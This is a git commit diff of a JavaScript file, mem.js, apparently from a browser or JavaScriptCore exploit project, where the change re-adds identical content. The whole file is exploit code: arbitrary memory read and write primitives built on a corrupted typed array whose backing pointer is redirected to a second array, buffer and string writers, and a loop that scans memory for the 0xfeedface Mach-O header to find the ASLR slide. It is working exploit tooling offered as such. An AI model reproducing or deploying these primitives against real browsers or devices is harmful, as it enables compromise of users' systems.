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authorspv <aquaticvegetable@gmail.com>2022-04-20 15:22:48 -0400
committerspv <aquaticvegetable@gmail.com>2022-04-20 15:22:48 -0400
commit6cc37a8aba5368bfe5e56725382268e517d96b03 (patch)
treecd60effe0a4a9585c4f98622fbede0d81a53322e /js/mem.js
parent67d942f77c7c9a0967bacb0a69197641ce672d02 (diff)
function all the things
Diffstat (limited to 'js/mem.js')
-rw-r--r--js/mem.js294
1 files changed, 147 insertions, 147 deletions
diff --git a/js/mem.js b/js/mem.js
index 20d5b5d..c342707 100644
--- a/js/mem.js
+++ b/js/mem.js
@@ -1,147 +1,147 @@
-var VECTOR_OFFSET = 0x10;
-
-/*
- * read uint8_t
- */
-function read_u8(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- /*
- * `parent` is a Uint8Array of length 0x100.
- * `child` is also a Uint8Array of length 0x100.
- * `parent`'s `vector`, its pointer to where its data is stored, has been
- * modified to point to the `child` object in memory.
- * as such, accessing `parent` will allow for modifying the `child` object.
- *
- * the way this is used is by writing to `child`'s `vector` so it points to
- * arbitrary memory. then, we can access `child`, and we now have arbitrary
- * r/w
- */
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return child[0];
-}
-
-/*
- * read uint16_t
- */
-function read_u16(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return u8x2_to_u16(child);
-
-}
-
-/*
- * read uint32_t
- */
-function read_u32(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return u8x4_to_u32(child);
-}
-
-/*
- * read a buffer
- */
-function read_buf(addy, len) {
- var buf = new Uint8Array(len);
-
- for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
- buf[cur_addy - addy] = read_u8(cur_addy);
- }
-
- return buf;
-}
-
-/*
- * write a buffer
- */
-function write_buf(addy, buf, len) {
- for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
- write_u8(cur_addy, buf[cur_addy - addy]);
- }
-
- return buf;
-}
-
-/*
- * write uint8_t
- */
-function write_u8(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- child[0] = what;
-}
-
-/*
- * write uint16_t
- */
-function write_u16(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- u8x2 = u16_to_u8x2(what);
- child[0] = u8x2[0];
- child[1] = u8x2[1];
-}
-
-/*
- * write uint32_t
- */
-function write_u32(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- u8x4 = u32_to_u8x4(what);
- child[0] = u8x4[0];
- child[1] = u8x4[1];
- child[2] = u8x4[2];
- child[3] = u8x4[3];
-}
-
-/*
- * get process slide
- */
-function get_our_slide() {
- for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
- if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
- return slide;
- }
- }
-}
-
-function write_str(addy, s) {
- for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
- write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
- }
-
- return s;
-}
+var VECTOR_OFFSET = 0x10;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}